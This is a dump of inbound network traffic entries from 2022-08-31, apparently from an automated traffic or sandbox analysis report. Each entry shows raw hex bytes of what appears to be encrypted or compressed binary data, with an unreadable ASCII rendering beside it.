2022-08-31 06:34:45 UTC	514	IN	Data Raw: a3 ac e9 b0 3a 77 38 66 28 4e 79 9c bd 0c fd c7 ac e6 ed 60 26 be 4b 16 ae 1e 1d dd 92 a6 18 ac 98 69 23 98 8b fe e1 d3 06 eb 70 ea 98 dd 27 61 9d a1 10 69 d7 6c 90 61 65 10 1d 4c b3 33 37 54 d1 d4 51 17 9c 26 1d 71 c3 d0 e9 60 a5 26 a6 1a 02 bc ee a8 53 d1 2d 24 a6 e4 61 ef 2d e8 2d 9c 8b 76 a8 eb 98 d8 42 02 ac 13 96 6c 29 ed ab 50 6e 7f 8b 56 a0 59 26 e4 a4 ea 84 32 93 2d 10 23 19 74 ff a7 6a f1 47 e8 06 ef 4f fa 54 db 40 25 2a 73 ba a3 10 da 5f e8 e0 d9 3e bf 1e d4 20 52 d5 c7 ca 74 6e 18 78 4d 78 a5 2a e4 69 94 90 ed 2d 6f 55 62 fa 01 91 d0 3e b9 1f 90 ae ff 71 57 59 a8 d2 d6 21 2e ee ac b5 f3 ab 6a e3 f0 cc f1 c3 60 a6 e6 bb 32 26 1a 09 e1 fb 60 6d 2c a5 22 bf b0 aa 34 b7 ca 8e 99 00 1f 34 d1 ba 37 e5 e9 2e b2 3f ee 20 87 cc 47 4c d3 dd 0e 8d eb 2c Data Ascii: :w8f(Ny`&Ki#p'ailaeL37TQ&q`&S-$a--vBl)PnVY&2-#tjGOT@%s_> RtnxMxi-oUb>qWY!.j`2&`m,"447.? GL,
2022-08-31 06:34:45 UTC	516	IN	Data Raw: ce 65 71 fa c1 14 3a 2a db 91 b7 0b f1 78 97 67 98 58 a0 cd 12 ff a6 ea 2e a5 e9 04 60 d3 ae 7a a6 e3 68 20 20 27 3e 6b 3a 29 70 57 cd 02 30 6a 47 d5 87 e6 47 c4 65 a2 1f c5 8c 08 d9 06 60 69 77 ca 09 23 0f 80 6e d6 d1 1c c7 79 65 ad a1 7d fe f7 41 45 fe b2 f0 b7 66 e5 6b 0d b3 19 e0 aa f6 3f 2c 8a c8 e7 42 22 87 e5 3c 96 ca 07 13 72 ec c0 0e 22 57 df b2 49 51 8f e8 55 fb 7a 7b ac 85 7d 62 4f 54 c1 d4 a2 e7 64 b1 00 89 66 86 3c 79 56 a2 27 a5 e5 28 52 e5 5b 43 3a 06 dc 83 7b 0c cf 0e 07 bf 9a a6 38 34 88 8d 67 c8 40 e5 02 cc e6 a7 0b 0b 2b 2f e9 18 8e f6 3b 86 21 1f 11 25 65 96 16 60 77 45 82 16 b6 03 54 bc fe bc 19 d2 62 60 2a 18 0b db c8 21 b8 9b 72 d6 39 a0 c2 cd 1c 40 ae 13 00 ee d5 a6 07 b1 fa 55 a7 97 e3 82 0c 60 6b a6 58 1e 02 1f f2 6c 0a cf 42 8f Data Ascii: eq:xgX.`zh '>k:)pW0jGGe`iw#nye}AEfk?,B"<r"WIQUz{}bOTdf<yV'(R[C:{84g@+/;!%e`wETb`!r9@U`kXlB
2022-08-31 06:34:45 UTC	517	IN	Data Raw: fb 92 ca a8 f0 e7 3d f7 46 42 76 37 7c 1a 56 30 7c ea 66 6d 62 a7 e9 dc 91 d1 7e 2e 0f d1 38 8a da e7 42 58 fb a9 0d e5 6e f6 3f 3e 61 e2 4c 75 ad a5 6a 1e 31 bc a0 a9 cf 81 60 d1 8f 3f 2e b3 7a 2a a2 1e fc cc 58 62 15 1e 0f 06 ce a1 fc ef 62 68 da 8f bd 24 11 25 65 df 98 2d e3 0b d2 89 d0 da 6b 3a f3 e3 64 e8 6a 66 a3 fe 6c 0e 42 f5 2f 12 1f f6 b0 3a 4f 5d 26 f0 cc d1 21 ee 37 f2 ef 6c 20 20 9c da 92 66 2b 23 1d 51 1b de 1f b4 f2 79 cb 6a 43 3c f7 b1 1f d8 59 c6 36 d6 1a 9b 53 df 1a db 14 ec a8 e4 be b3 51 56 d2 0f 5b 55 fe 2e 6a 2e e6 26 b8 f6 a8 eb e3 25 b4 38 ad ab e6 25 e8 87 1e f3 ca dc b1 a2 19 25 17 f8 d4 5c 7a bf ed 64 6b 31 0c 48 9b d7 81 dd 68 f4 1d d0 17 d6 ed f5 3a 73 cb de ef 58 e1 fb c9 59 17 e0 e4 66 85 4c ed e2 a4 e8 4b 51 fa 58 e3 d5 e5 Data Ascii: =FBv7\|V0\|fmb~.8BXn?>aLuj1`?.z*Xbbh$%e-k:djflB/:O]&!7l f+#QyjC<Y6SQV[U.j.&%8%%\zdk1Hh:sXYfLKQX
2022-08-31 06:34:45 UTC	518	IN	Data Raw: 9d 0a d2 90 2e 3c 78 80 b5 25 c4 75 d1 9a 13 32 3a 9a 54 23 aa a8 c9 34 fd cd fd 38 5e d0 45 08 f9 ff 2e e3 64 06 13 e3 ab 7b 90 99 37 3a a8 ee 66 34 33 ea 93 56 e2 67 6c eb 96 10 ee 46 f1 e9 01 12 29 27 31 15 a0 78 b6 05 f9 61 6c ee 8a b8 06 5d cb 17 20 a1 da 50 b0 72 ef a9 04 35 c4 76 d3 24 0c f0 d9 16 ae e1 e3 4d 4f 94 a6 6a b3 c3 ce 90 4b 22 f7 cc 5b 75 da 68 2c 7d 5b a5 11 75 bf 70 ca 0f a5 6a be 35 98 62 d2 6e 65 30 69 0d 17 71 1a 67 a9 ae 53 1a 7f 57 55 1b 87 5e 52 9e f7 b7 fd bd ca 52 7f 47 1c 96 4b 57 aa 5f 24 10 50 2b d2 4a 81 19 c8 70 87 3f e2 38 c7 48 fa 09 2e cf ab 4a b8 4b 0b 3f 4e 4e 9f 44 85 6c f4 0d 97 70 b8 4e 84 ab 8b e2 e5 aa 43 3c b3 69 b0 6f d2 8b 76 f2 67 f7 3e c7 40 13 ef f5 1a c8 58 84 2a 92 8b 82 57 e0 ee 99 a5 f8 ce 64 be 55 46 Data Ascii: .<x%u2:T#48^E.d{7:f43VglF)'1xal] Pr5v$MOjK"[uh,}[upj5bne0iqgSWU^RRGKW_$P+Jp?8H.JK?NNDlpNC<iovg>@X*WdUF
2022-08-31 06:34:45 UTC	520	IN	Data Raw: 89 0d 18 de 98 22 e7 dd 92 d3 5d e5 e1 fc 31 e2 4c 84 5f a6 95 58 10 e2 de 86 b4 69 d3 5b 59 5d 88 4b 28 dd 9a ec 2a 62 12 1f 5e 11 29 77 2a 1f a2 ca eb 94 6a f9 4a 03 40 b8 9a 01 66 e2 74 b6 e8 20 ef 2b e4 0a 45 4c 96 33 10 5c 1d cc 1e 0d ab 2b a9 c1 aa 6c c9 a8 66 2a 7c 7b aa 28 e3 ec 23 e4 a2 69 d7 4f 51 54 b1 54 9b e2 ad 53 e2 49 7b 93 85 08 3b 81 36 bb 44 cb f9 35 78 ea bc 13 56 91 02 a6 b0 a3 eb 24 97 c4 d7 0e 22 e2 7f 84 1b 20 2f 0f 11 a2 82 09 3a d3 98 61 2f 0a 23 51 b6 d5 aa ab 7e c7 16 e8 73 47 fc fb 07 0e 34 78 1a b2 89 05 61 4f 92 5a df d4 6c 2a 11 d2 19 25 37 d8 3c 2a a2 0b d0 a4 d2 6b bc 5d 63 a6 cb 07 60 2f 2d 6f 4d 8c ac 31 b7 2e 5d c4 69 1c c6 ec 87 44 4a 8a 4f bb de 3a f5 24 94 49 0f f0 19 7d ae ec 6e 2a a2 0a e8 f2 3f dc 2b d7 a2 bf b7 Data Ascii: "]1L_Xi[Y]K(b^)wjJ@ft +EL3\+lf\|{(#iOQTTSI{;6D5xV$" /:a/#Q~sG4xaOZl%7<k]c`/-oM1.]iDJO:$I}n?+
2022-08-31 06:34:45 UTC	521	IN	Data Raw: 67 a6 5b 79 bc 6f 5a 90 6d 5b 54 96 2d 0f 3c 10 d6 ec f9 36 8a 02 d6 56 ab 9c 50 67 5b 9b d6 1e 4d d2 c1 5c 80 4d b0 4f 9b e3 19 aa 5b 3c fa 6d e9 13 67 91 5a 91 e3 1f 9f 66 2c 30 79 00 cf 14 cf 81 53 ae 6b a1 66 54 74 91 b3 7e 70 eb b0 28 b4 ad 26 3a b9 32 e0 1d c7 66 c8 09 b7 6a 90 7d 97 6a 4f 31 84 87 5a b9 f5 01 cd 6b cc 00 2e a5 f5 b9 26 28 bb 72 27 7b f1 eb fd 56 c9 36 b5 da 15 48 df 02 e5 df 26 08 d7 3e a3 bf 76 42 5c b9 8b 95 74 5a c3 5e 2d c1 e7 5f 00 fb 9d c2 20 7d af 9d 4d cb f3 f4 50 a5 dd d3 12 9a 68 e1 34 6d b6 2b f4 76 ff 3d 67 23 68 64 dc 99 a0 eb cb 00 64 ee e4 4d c4 26 ea 68 63 eb f3 28 24 b9 f3 3d d4 1a 60 eb b9 33 77 bb c1 85 68 70 f4 74 f0 ac 79 64 91 03 7e fa 8f d4 77 6a d1 95 68 54 56 a5 9d 9f 2a e8 a1 0a 46 3b 9d 04 64 2b a7 64 af Data Ascii: g[yoZm[T-<6VPg[M\MO[<mgZf,0ySkfTt~p(&:2fj}jO1Zk.&(r'{V6H&>vB\tZ^-_ }MPh4m+v=g#hddM&hc($=`3whptyd~wjhTV*F;d+d
2022-08-31 06:34:45 UTC	521	IN	Data Raw: 37 cf 2a 30 d5 fb 8c 29 1e a9 5b 41 f0 ae 67 4c 9a 02 d3 6f 4a 68 61 47 a6 e7 a5 ec 4f 8c 48 fd 78 c6 c1 08 50 22 02 f8 27 6f 4a fb ce 7d 2b 66 98 c3 a6 76 28 2d 6b 12 a4 28 c6 d2 af bc 65 9f a6 ad 42 49 c7 03 2f 91 50 21 e7 fc b8 a5 66 ad e7 15 cf f8 28 74 34 52 7f 89 35 fb 24 56 64 a7 19 69 df 15 4c 8f 22 ea 4f 72 5d 60 82 df 31 f8 43 18 4d 47 f2 fc 2a 66 52 88 97 ca 2c fc 3b 77 cb 9f a2 0d 13 d8 a6 0a d1 97 ab 61 4b 0b a1 6c c9 01 2e 68 5a 0e 43 9f a0 6a 2c cb 0a de 8c 06 02 d2 3a de fe f8 63 07 fd 82 4b 3c 06 66 21 77 90 80 e6 2b 9e 90 f5 6b 1e aa ff 1c 69 65 27 55 1d a0 e8 51 b9 08 55 99 9f c2 36 e1 6b 0d a3 af 45 d8 10 72 7e 3b 36 5c e5 29 e8 d6 87 9b 4b 14 a2 fc 8e a4 c5 fc 4d 10 37 4d 94 8d 7b ad fa 9c e4 fc 40 6c a4 10 c1 8e fb b4 ff 24 57 c9 8d Data Ascii: 70)[AgLoJhaGOHxP"'oJ}+fv(-k(eBI/P!f(t4R5$VdiL"Or]`1CMGfR,;waKl.hZCj,:cK<f!w+kie'UQU6kEr~;6\)KM7M{@l$W
2022-08-31 06:34:45 UTC	523	IN	Data Raw: 1d 3f 56 7f 60 d1 da e9 23 9d 61 91 57 92 36 bd 26 98 81 bc a0 9d 64 c3 25 f9 e1 61 db 68 94 82 4d 32 71 65 cb 81 6e 2c a4 ea 62 bf 7a 2e 0a 6f b6 df a2 16 f4 c8 8f 6e f3 e3 d2 03 92 57 92 ff 2f 1a d2 f4 23 bd cb 2e dc 3f 6a a6 57 cb b7 19 4f 3b a4 e1 7e 57 bd fa 00 cf 02 58 6a a7 ea b2 00 60 aa 01 cb 84 49 60 ea e4 ad 64 2e 21 a8 2b 61 a4 2f 66 0a c7 ad e7 29 45 4d 70 b8 82 40 ce 0a ad 44 80 67 8f 4f 46 82 cb 89 30 1e c2 94 8e dc 86 0b e7 60 dd 7a 2e 64 34 1e c5 97 8e 35 ea 29 38 92 47 e7 9d c1 1b ca 87 4f 9c 52 e0 21 4d 8a 07 45 e9 a2 6d 9e 78 c2 65 18 f6 ea 82 e5 e2 ce c5 c6 8d 6c e8 eb f1 5b 83 a8 26 38 71 a8 26 2b 61 ec 18 bd 96 b0 a4 4a ca d7 dc 2e 80 c2 67 e3 8f d7 7f 57 5c f4 fa 0a ff 9e 65 39 53 c6 63 ee 28 e3 a2 ed 18 52 f0 c5 4d 8b 13 2a a3 7e Data Ascii: ?V`#aW6&d%ahM2qen,bz.onW/#.?jWO;~WXj`I`d.!+a/f)EMp@DgOF0`z.d45)8GOR!MEmxel[&8q&+aJ.gW\e9Sc(RM*~
2022-08-31 06:34:45 UTC	524	IN	Data Raw: dd 9a 2c 24 6c ea 06 39 dc e9 7f 3d 2a b6 d2 5a 3c 27 4a 83 d7 fc 8c e6 26 63 dd 1a ad 4a 5d 7a 9c 92 f7 80 be d3 94 83 75 5c 8b b3 55 dc 31 bb 70 e0 2e 54 14 a6 f2 51 8c 9b 97 55 5b e3 ea 7d 9e 80 1f e2 97 b8 74 af 52 90 55 51 71 b3 eb e1 e4 a4 f2 41 8c b2 60 26 25 9b 95 e1 6b cb f3 8a 1f 76 ad 44 fc 11 4f 92 97 fb a3 3b bb 8a eb d7 33 eb 2d fc 15 99 76 15 2d 0b 38 36 98 1e 5b 0d b4 b9 25 5f 84 39 96 e9 9c 86 d6 7f 07 ca f0 b7 79 33 20 ea 44 88 5d 29 15 69 d5 0d 3b a4 0a 81 06 0f b0 a2 3c 2d 6f 52 91 38 e7 76 72 43 5a 8f 84 e1 e5 f0 22 7c 8c 7a 35 d4 ff 2d 5c d2 b2 30 23 a2 62 f1 e8 3f b0 5c d1 30 8c 56 f9 21 22 e3 1d 54 ae a0 e0 e7 1d b0 f5 11 62 6f 58 e0 36 71 2d ff af b3 35 c9 a5 d9 47 d3 ef 1f 02 7b 04 fa f1 6f f6 30 a1 37 cd 96 eb a4 f6 7e 2c e1 2e Data Ascii: ,$l9=*Z<'J&cJ]zu\U1p.TQU[}tRUQqA`&%kvDO;3-v-86[%_9y3 D])i;<-oR8vrCZ"\|z5-\0#b?\0V!"TboX6q-5G{o07~,.
2022-08-31 06:34:45 UTC	525	IN	Data Raw: 17 86 11 1c 0e 28 6a fa b5 ba 34 6d 4a 8f a6 a7 64 5e 75 43 91 17 a4 a2 26 e9 60 66 ae 02 c2 df 07 f2 8a ce a6 3e 9d 4e 6f 25 7d 11 cf db d4 dc 50 5f b4 80 93 65 91 25 ef 65 96 65 1b 7b df 11 b1 0a 07 36 5e 0a d1 58 50 40 3f 3e 3f 16 76 75 d0 25 e3 79 e3 7b e1 e6 2b 59 ff 6c 8f e0 e3 e2 df d4 10 5a 1d da dd 15 e5 69 a0 18 aa d8 e5 ae ef e2 a8 ab e9 61 c3 03 61 67 23 4e 87 10 9b 3f 7d 2a 52 5d 3c 31 94 d9 6c 28 63 5a fb ce 26 61 e0 8a c2 a3 6e 2a e3 9d 6f 5e a7 2f 70 1b cb 25 3b a3 d5 5b 3e c8 ce f4 93 c7 5d 0a be 2c 66 ef ae f4 6b 61 a9 1c 88 7c 3b 5c 6c d6 e6 54 3d 00 2e f1 a8 1e 50 b7 ad f5 cb 12 aa 62 63 12 6d 2d f3 0b 7e 0f d6 18 e0 22 72 bd 63 58 3b e6 1b c0 3d 1a 87 f7 85 11 6e fa fb 33 6f d8 0b 28 fa 03 59 30 7b 21 aa f7 d1 31 28 98 6b 25 7b f6 05 Data Ascii: (j4mJd^uC&`f>No%}P_e%ee{6^XP@?>?vu%y{+YlZiaag#N?}R]<1l(cZ&ano^/p%;[>],fka\|;\lT=.Pbcm-~"rcX;=n3o(Y0{!1(k%{
2022-08-31 06:34:45 UTC	527	IN	Data Raw: 86 9a 53 f8 36 ab ef 07 40 5c 95 8a 40 fd 36 82 c1 46 d7 97 ca 95 1b 6a f1 d5 6f 83 6c 58 1a 23 e6 0b 93 b9 a7 97 d0 81 c4 7e 9d 59 44 20 73 0d d1 40 2e f7 e6 e0 4c c5 b6 b3 9d 82 bb 28 fe 76 65 c9 59 3f fe 39 a7 e7 f8 b8 f7 b7 af 1b 72 0b e6 3b a4 c6 ed 4e 32 91 4d 4d 15 3a 5f c9 19 be 19 85 09 f1 0f 66 06 e9 c2 03 b7 f1 32 73 af e7 16 d3 fa 12 05 6f ab 84 44 4f 80 2d b4 e9 51 4b 97 08 d9 12 f4 69 2a f5 bb 80 76 3b 3c 20 23 5f 5c 80 03 ee 26 de 71 55 bd 9a 29 b7 1d ac 49 41 62 a5 52 48 b9 41 f4 2d 3f e3 94 0d 1f f9 7d cc a0 42 1d f7 8b 4d f5 6c a0 d5 48 83 81 72 5a b5 57 08 ef f7 a3 ce 82 74 bb 5a 52 f5 Data Ascii: S6@\@6FjolX#~YD s@.L(veY?9r;N2MM:_f2soDO-QKi*v;< #_\&qU)IAbRHA-?}BMlHrZWtZR
2022-08-31 06:34:45 UTC	527	IN	Data Raw: e1 67 80 3f c3 67 b7 46 72 aa 93 0f 93 0f ca 9f 19 c8 23 7b 32 08 43 9a 52 b0 79 fc c5 50 ab 24 0d 4e 61 37 be e6 a9 51 dc 92 fb bd c6 6b c9 f2 f3 ab 1a dd ff 3e 44 85 a9 04 ee ac 48 af 09 18 97 24 16 16 78 6b ca 94 31 d9 81 54 57 65 3f 9b 23 fd 23 31 cd df dd d3 13 eb 24 aa fb 75 dc 95 d7 76 33 b5 a3 cb e2 b3 bf db dc ad f9 fc 8b 9d 18 d0 e0 f5 69 96 1f e2 67 ec 73 c8 33 c8 61 1f 25 62 a7 53 61 5c d9 c2 10 fb 61 21 5c b8 03 ac 49 70 3a 6b cd 99 a5 51 6f 4e 83 47 eb 09 c0 5a 42 dc f9 02 97 18 e5 5a d8 25 97 e6 fe 8f 97 f3 0e 5a 01 fc 97 d9 24 5a 57 af 12 b9 7f 38 28 6b 4f c5 57 a9 8c a5 63 f5 fb 74 f4 94 90 d1 48 4c 6e 80 5e b6 e0 90 5c 18 a3 e9 cb 84 d3 ef a1 d9 ea 72 b6 1f dd 0c ee 6d d2 d1 7f 5b c4 07 a0 3d a6 bf ef f2 a1 0b 59 ac e3 93 bd c7 fb 38 57 Data Ascii: g?gFr#{2CRyP$Na7Qk>DH$xk1TWe?##1$uv3igs3a%bSa\a!\Ip:kQoNGZBZ%Z$ZW8(kOWctHLn^\rm[=Y8W
2022-08-31 06:34:45 UTC	528	IN	Data Raw: c3 26 a1 ec 21 6c 8e 43 02 89 c9 43 40 4c 86 43 e9 ed 26 67 db 08 89 40 6c 7d 69 ae cf c2 3c d4 0f 7c b0 da eb d0 39 fa 10 2c 5a e2 0b d7 3a 6a a0 e1 3d a1 d2 1d 7a 6d ec 85 11 b2 26 d1 52 e9 52 88 32 e8 29 12 f2 c3 ee 06 c0 65 27 e3 40 f2 05 a1 d4 6e 89 6b ae cf f2 3c ad c5 30 a6 74 85 ca 85 08 24 3c 7a 94 da e9 e2 4c 7d 83 fc b8 35 aa cc 81 7b 36 cd 76 31 d5 b9 af e7 c6 59 fc 88 ba 4d ff 67 4b 46 e9 c6 c6 e9 e9 97 99 39 7c 85 e0 52 2e f7 6b af 6e 13 f7 cb b1 11 b9 50 8c 16 b6 d2 1d 63 db 70 41 5d 41 99 86 5e 51 89 81 e3 a3 53 1b 26 e3 5e b7 8f 62 a7 41 4b 6c 86 88 8e b1 58 61 26 90 78 f1 74 24 35 5e a7 4a 02 10 57 eb 5b 98 26 e0 19 6d 75 4b 05 04 5e 3e 07 2b 95 9a e7 e9 ef e9 6f d5 5e 6f e7 27 29 e9 5f 9a d8 44 75 a4 1e 64 45 75 b8 f2 97 72 0f 6d 1f 9e Data Ascii: &!lCC@LC&g@l}i<\|9,Z:j=zm&RR2)e'@nk<0t$<zL}5{6v1YMgKF9\|R.knPcpA]A^QS&^bAKlXa&xt$5^JW[&muK^>+o^o')_DudEurm
2022-08-31 06:34:45 UTC	530	IN	Data Raw: a7 db 16 1b d6 5f 92 b2 eb bf 14 eb 82 b7 dd 73 6a ff 13 98 11 6f ea 63 d2 10 c1 73 75 9f 1d 6e d4 a1 f2 de 71 cb a8 c1 d5 57 d8 79 c6 b5 2f 21 5c aa 31 d2 71 22 91 fc 93 b6 2f 5d 6c d4 5e a7 a9 ed f9 43 2f 7d de 8c 2f 55 af 25 2a 9f 41 f5 de 51 60 d4 52 3e 32 e2 7e 99 fb e2 30 9a 3c a6 f4 6e 8f 72 8e 33 1f 7b 6d 5b c8 f8 2f 15 cf e2 a1 24 07 95 2f 41 13 a0 63 fe d5 0e 2b 5c 09 1a 2c fc af dd b7 6f f2 b8 10 e8 92 d9 e0 a2 a9 d7 b9 7f 83 05 6e a3 8b 34 ff cc 60 2a c3 c5 5b 59 61 df d4 1a 04 eb 25 cf f9 be 2c d2 bb 67 09 96 f8 5e b3 65 2c dc 05 fa 4f 6e 71 7d 68 a6 ac 6f 8b ac 66 83 08 77 7e e1 22 25 41 03 dc dd 63 31 74 af e2 4f d3 f6 6a 29 2b e3 2b 6f 6a d7 a0 75 f6 24 4d 87 fe d1 ad 3d f4 f3 a5 04 4e 61 e3 35 af 89 5b 1b 9c 6f 8b d0 71 e9 24 2d f8 7a 47 Data Ascii: _sjocsunqWy/!\1q"/]l^C/}/U%AQ`R>2~0<nr3{m[/$/Ac+\,on4`[Ya%,g^e,Onq}hofw~"%Ac1tOj)++oju$M=Na5[oq$-zG
2022-08-31 06:34:45 UTC	531	IN	Data Raw: ff 33 6d b4 7a a4 75 be ea 25 af 25 0a 90 e1 d7 28 0d e6 d4 6a d3 ad cf 5a 80 59 75 32 69 0a 8c ed 2e 2a 66 61 68 0a 93 f1 1f d0 2e 63 ae 41 44 27 e2 a5 ec e4 e0 6f 6e 2f f3 ba 00 59 5b fd d9 7e b2 16 ff 5a 3a d4 13 2e 64 4c 0c e3 a3 86 32 21 93 76 a9 51 8c 93 d3 97 d3 5d 54 2f eb a2 26 f9 a4 75 ec d6 d2 a0 c1 43 ff d2 1f 3e b4 17 ec 1d a6 3d 4f 61 f6 d9 a6 e1 77 35 a3 e9 e0 a2 20 12 d7 2e 41 4a 27 f5 34 a9 eb f8 51 87 2a 20 68 2f e2 6c a3 d0 b7 b0 d6 6d de 80 98 b9 de d0 65 12 03 c2 1e 2b 53 6a aa 6b 2e 59 c0 d2 4f ea 00 4d f1 6f 7f bd df 52 e8 d1 5d ec 33 4d 83 b7 f8 cd f5 3a 9f 76 2c a7 e5 eb e2 de d8 0b ed 48 f5 d2 2c 24 0b 70 34 08 fd 52 f9 d4 17 31 a1 ef 05 68 6f 82 a2 91 a6 6a 6b af 5e 7a b8 6a a8 d2 15 bb 0b 17 b2 fb 27 6e f2 d2 80 f9 04 6a 58 6e Data Ascii: 3mzu%%(jZYu2i.fah.cAD'on/Y[~Z:.dL2!vQ]T/&uC>=Oaw5 .AJ'4Q h/lme+Sjk.YOMoR]3M:v,H,$p4R1hojk^zj'njXn
2022-08-31 06:34:45 UTC	532	IN	Data Raw: 56 fa 81 cf e3 87 a4 45 50 98 a7 a9 a0 fe a4 d2 b6 39 0f 2b 64 fc 0e 05 73 9d 75 bb 5f d2 03 2b e2 49 95 3b 20 b5 41 43 73 7a d0 1f d6 4e 6e a6 ed b0 6e e3 2a f1 e6 af b1 6c 94 5c 34 c9 97 e7 b1 46 08 83 ef d7 d6 0f 40 93 c6 bb 1d 79 94 f7 1a df 12 e6 14 e1 13 da 1e 33 d7 c5 55 17 84 42 a9 9c 5b 70 bc f5 35 6f bc 25 1f 88 52 b6 87 4f a4 cd 26 fa 1b c4 25 4e 83 5a 95 4a 85 0d 14 14 1c 6a 38 62 00 49 e6 3e 8f 88 3e 38 82 71 8f 1a e0 7f 85 cd 26 4c 80 64 a9 c5 b9 1e 1e 72 6c 83 92 7f 6e c0 84 34 78 28 4a cf 4c 09 2b e3 e9 67 13 c1 76 91 f3 77 09 fe fd 3e a8 e8 45 f0 a2 6a b3 84 1a 93 d7 65 f3 42 b5 c5 ed ce bb 98 ca ed 43 b1 72 20 b3 eb 0c d4 e3 7e 24 07 8c fe 23 c1 43 20 83 97 9a 0e 03 a1 e1 89 4d 8e 18 14 e7 db c1 fe 59 fc e4 9a fd fb 07 99 27 e3 5d 05 6b Data Ascii: VEP9+dsu_+I; ACszNnn*l\4F@y3UB[p5o%RO&%NZJj8bI>>8q&Ldrln4x(JL+gvw>EjeBCr ~$#C MY']k
2022-08-31 06:34:45 UTC	537	IN	Data Raw: 2f 67 1e db ef 66 02 9b 23 a5 6d 0c 45 f7 8c d5 7e b0 69 b2 7c e0 1b 06 b0 c9 a1 4d 2b f2 e2 7a 1a 97 4e c6 bb 10 29 d3 2d 08 ed da 71 ad 2f 6d c2 81 f3 d4 ed cd 6f c7 0a 2c 65 07 ca e3 ac 61 84 fb 58 e9 24 b7 c5 ec fa c1 22 88 8f 80 73 a6 1e b0 d2 c2 71 fd 7c 71 e6 bb c5 8e 37 d4 56 53 9a 65 16 da a8 64 69 d6 df 60 69 93 9a 60 e9 a7 bb 76 6b 74 19 78 43 fc db 98 69 aa 64 25 60 2d 6c dc 32 9f fd 70 12 83 7a b4 ae eb 9d ff 42 a8 69 67 29 e3 8f d6 3a 5c 6d 5c 7b a6 7e 95 63 5b de c4 10 0d e8 b2 6e 0b 80 b2 2a e4 eb 54 3d 91 3b ef e1 7f 34 bc f5 26 2b 6e 4b 4b 31 bc ae 66 57 5b ab ae e0 01 06 6c 2e 6c 26 ff 76 e6 2f 88 45 a5 38 b7 2e f3 6a 7a e3 bc 25 ab de c4 22 e8 64 2d 23 c6 0d a5 0f 0a 53 6c 17 6d a9 28 ec cd 81 28 3e 7b e2 78 fa 52 5c 0d c3 98 d4 39 fe Data Ascii: /gf#mE~i\|M+zN)-q/mo,eaX$"sq\|q7VSedi`i`vktxCid%`-l2pzBig):\m\{~c[n*T=;4&+nKK1fW[l.l&v/E8.jz%"d-#Slm((>{xR\9
2022-08-31 06:34:45 UTC	538	IN	Data Raw: df 70 2b 8c d2 62 da 42 77 1a c6 bb 66 18 d6 68 37 ea e1 b7 19 4f 27 f9 5b 43 19 3f ca 34 ab 89 54 db 1d 51 81 de 6c 94 de ad ac 59 f5 05 32 8e ec 2e e3 6f a3 05 cf 3a a2 9d 5a b2 de 16 20 3d d3 4f 59 31 16 e7 2d 24 8f 17 3e ce 0b e2 aa 3f 5c d8 59 27 1d e9 19 ae 4b 88 1e fa 61 79 e4 1e 19 23 3b 67 c1 f3 e4 80 f1 0c 6a 82 44 96 a1 f2 3d 97 5e 94 78 be ac a9 7d 8d 51 b2 8a 36 f1 af 6f c0 00 dc 16 5e f9 02 e5 0e a7 6e 8a 97 73 5c ea b1 10 99 06 5b c4 94 82 c8 c9 48 d6 dd 66 9a 5e 82 70 be e4 c3 6f a3 df 12 17 17 12 1c a1 fa 65 66 11 a1 11 f7 9e 01 ae 91 09 ea 0a 29 b7 c2 3c aa 9c f9 94 ff 72 37 21 14 79 0f 16 6a a7 65 51 62 a5 b6 72 4e 83 0e c1 ae 0c 01 a4 78 9b d4 19 2c dd e8 55 60 30 6a 42 70 97 75 4c 9e 94 99 1e 24 2b 2e 1c f6 53 66 b4 36 8a 1f c3 28 74 Data Ascii: p+bBwfh7O'[C?4TQlY2.o:Z =OY1-$>?\Y'Kay#;gjD=^x}Q6o^ns\[Hf^poef)<r7!yjeQbrNx,U`0jBpuL$+.Sf6(t
2022-08-31 06:34:45 UTC	542	IN	Data Raw: ac ea 96 68 94 82 32 f9 84 a7 7a 3c 04 1f f4 65 71 7d 99 59 8f d1 dc d0 f1 83 86 62 63 f2 b4 2c 86 ca 07 27 04 a5 6a 06 cb af 22 e2 7f 84 9c eb a6 82 f6 08 b2 f5 74 62 20 ef 34 f9 ea 71 b1 7f 93 cc 28 ba f2 db 14 a1 6e a9 dd 6a ee 53 7e 5f 02 8f 31 ab 6a d5 a2 4e c6 0f d0 11 ce b0 15 a7 02 38 a5 08 80 fe 12 d7 2f 3c f1 8f 70 62 9f 66 fe f1 3a 1f 4f 1b 1a a6 e9 e0 8a 9b fb 2c d6 94 62 23 af 33 52 e7 5b bf 69 a5 3d 75 ee 9a 06 9f 23 86 10 5d 15 4d fb 22 aa a6 df 7e 91 7d e5 cf 26 00 53 1c e8 d6 9c 20 a1 fb 78 22 b0 7f 68 8a 2b c9 68 15 31 39 15 b3 f6 0c 96 f2 28 e1 05 9f 3a f1 54 f0 54 a9 65 f1 6a de c5 2b e7 61 2e f0 bb 68 4c 48 a3 d6 3b 1f bc 27 27 04 04 a8 a6 10 1a b7 79 69 a3 26 2f ea a2 ed e0 52 e5 a7 97 5a 17 9b 8a ca 94 31 d9 6f 41 28 ab e8 df d4 26 Data Ascii: h2z<eq}Ybc,'j"tb 4q(njS~_1jN8/<pbf:O,b#3R[i=u#]M"~}&S x"h+h19(:TTej+a.hLH;''yi&/RZ1oA(&
2022-08-31 06:34:45 UTC	543	IN	Data Raw: b4 63 5d 8a 42 f2 3a 63 a7 94 5e d9 c3 b2 4a 86 c7 2e 52 b7 b3 79 d4 23 1e e8 f5 c5 8f 30 af 53 74 86 22 1d d4 98 57 0e c7 9e 37 11 dc 07 42 6c 8f ee a2 2d aa 66 a7 94 8a b6 c2 05 d2 1a ad 08 ca 9a 53 9c a3 93 bc 0e 80 51 41 a4 35 be e3 2e c3 38 d6 43 8b 32 ba cb 28 2f cd e7 af 9c d7 7c 93 5a 33 2f 77 73 6a be c2 36 03 72 a3 fa 82 c3 a7 06 4f 8b 27 92 07 b1 5a 4f 72 8e e0 23 be eb 13 66 9f 6d 4b 20 03 3a f4 87 4d 3b b1 2d bd e0 c7 44 4c 49 44 aa d8 a7 49 40 14 a8 b7 ad 4a 67 e1 b7 59 17 8f 14 3e ea f4 5c 8a e5 30 ba 27 3d e7 3a a7 ac 61 6d a0 e9 5a 00 a3 09 c1 7f 2c a7 f1 f9 e4 ab d2 09 f0 7a a1 6b 18 fd 82 b2 0b af cc e0 26 e7 28 e4 67 ab d0 19 a4 8b 46 e2 69 3d 3c a7 f5 f7 1e 1d f4 b9 26 3e b1 1f d5 ae 26 6d b4 3c d1 15 21 e7 67 6c 61 ab 60 35 a6 69 38 Data Ascii: c]B:c^J.Ry#0St"W7Bl-fSQA5.8C2(/\|Z3/wsj6rO'ZOr#fmK 